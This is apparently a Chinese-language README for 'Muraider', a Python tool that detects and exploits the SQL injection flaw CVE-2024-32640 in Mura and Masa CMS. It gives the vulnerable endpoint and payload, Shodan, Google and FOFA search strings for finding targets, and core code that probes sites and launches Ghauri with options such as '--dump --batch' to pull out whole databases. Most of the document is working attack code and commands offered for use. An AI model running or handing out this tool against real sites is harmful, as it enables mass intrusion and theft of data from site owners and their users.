Muraider - CVE-2024-32640 SQL注入自动化检测与利用工具
Muraider 是一个专为 CVE-2024-32640 漏洞设计的 Python 脚本,能够检测 Mura CMS 和 Masa CMS 中的 SQL 注入漏洞,并自动化调用 Ghauri 进行深度利用。
功能特性
- 🎯 精准检测:通过构造特制的
contenthistid参数值(包含%5c转义序列),快速判断目标是否存在 SQL 注入漏洞 - 🤖 自动化利用:检测到漏洞后,可自动调用 Ghauri 工具进行深度利用(支持传递任意 Ghauri 参数)
- 🌐 友好界面:彩色命令行输出,清晰的漏洞检测状态提示
- ⚡ 轻量高效:仅依赖
requests库,无需复杂配置 - 🔍 资产发现辅助:内置 Shodan、Google、FOFA 搜索语法,助力漏洞狩猎
安装指南
系统要求
- Python 3.6+
- pip3
依赖安装
pip3 install requests urllib3
Ghauri 安装(可选,用于深度利用)
git clone https://github.com/r0oth3x49/ghauri.git
cd ghauri
python3 setup.py install
或通过 pip 安装:
pip3 install ghauri
获取工具
git clone https://github.com/your-repo/muraider.git
cd muraider
chmod +x CVE-2024-32640.py
使用说明
基础检测
仅检测目标是否存在 CVE-2024-32640 漏洞:
python3 CVE-2024-32640.py --url https://target.com/
检测 + 自动利用
检测漏洞后,自动调用 Ghauri 进行 SQL 注入利用:
python3 CVE-2024-32640.py --url https://target.com -g
传递 Ghauri 参数
通过 -g 或 --ghauri 参数传递 Ghauri 的任意选项:
# 枚举数据库
python3 CVE-2024-32640.py --url https://target.com -g "--dbs"
# 获取当前数据库并指定线程数
python3 CVE-2024-32640.py --url https://target.com --ghauri "--dbs --current-db --threads 10"
# 拖库(请谨慎使用)
python3 CVE-2024-32640.py --url https://target.com -g "--dump --batch"
交互式利用流程
- 运行检测命令
- 工具自动判断漏洞是否存在
- 若存在漏洞,提示是否使用 Ghauri 利用
- 输入
Y确认后自动调用 Ghauri(可预置参数)
漏洞验证原理
工具向以下端点发送 POST 请求:
/_api/json/v1/default/?method=processAsyncObject&object=displayregion&contenthistid=x%5c&previewID=x
当服务器返回 SQL 语法错误信息或 HTTP 500 状态码时,判定为存在漏洞。
漏洞搜索语法
- Shodan:
'Generator: Masa CMS' - Google:
"powered by Mura CMS" - FOFA:
app="Mura-CMS"
核心代码
漏洞检测核心逻辑
def Injection(url, endpoint):
SQL_ERROR_MESSAGE = "You have an error in your SQL syntax"
host = urlparse(url).netloc
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Host": host,
}
data = {
"object": "displayregion",
"contenthistid": "x%5c", # 转义序列触发SQL错误
"previewid": "1"
}
print(f"{YELLOW}[!]{RESET} Checking for SQL Injection")
url = f"{url}{endpoint}"
r = requests.post(url, headers=headers, verify=False, data=data)
# 检测SQL错误特征或500状态码
if SQL_ERROR_MESSAGE in r.text or r.status_code == 500:
print(f"{GREEN}[+]{RESET} Target is vulnerable to SQL Injection.\n")
print(f"{YELLOW}[!] For exploitation, use Ghauri:")
print(f"{GREEN}[+]{RESET} https://github.com/r0oth3x49/ghauri")
else:
print(f"{RED}[-]{RESET} Target is not vulnerable")
Ghauri 自动化调用
def Ghauri(url, sqli, endpoint):
print("\n")
print(f"{YELLOW}[!]{RESET} Checking existance of Ghauri")
# 检查Ghauri是否在PATH中
if shutil.which("ghauri") is None:
print("{RED}[-]{RESET} Ghauri not installed or found in $PATH")
exit(1)
else:
print(f"{GREEN}[+]{RESET} Ghauri located!")
# 构建Ghauri命令
command = ["ghauri", "-u", url+endpoint, "-p", "contenthistid"]
if sqli:
command.extend(sqli)
print(f"{GREEN}[*]{RESET} Starting Ghauri")
print(f'{GREEN}[*]{RESET} Payload: ghauri -u "{url}{endpoint}" -p contenthistid', sqli)
# 执行Ghauri
subprocess.run(command)
主流程控制
def main():
parser = argparse.ArgumentParser(description="CVE-2024-32640.py - SQL Injection in Mura CMS")
parser.add_argument('-u', '--url', required=True, help="URL of the target")
parser.add_argument('-g', '--ghauri', nargs=argparse.REMAINDER,
help="Parameters for Ghauri. Example: -g '--dump --threads 10'")
args = parser.parse_args()
url = args.url
sqli = args.ghauri
parsedUrl = urlparse(url)
strippedUrl = f"{parsedUrl.scheme}://{parsedUrl.netloc}"
url = strippedUrl
endpoint = "/_api/json/v1/default/?method=processAsyncObject&object=displayregion&contenthistid=x%5c&previewID=x"
if isAlive(url):
Injection(url, endpoint)
i = input("Do you want to exploit with Ghauri? (Y/N)")
if i.lower() == "y":
Ghauri(url, sqli, endpoint)
6HFtX5dABrKlqXeO5PUv/xR0X3ot5InFo4jlJdZZW4EwKn7vYm5M9zx9Jy/vWTRb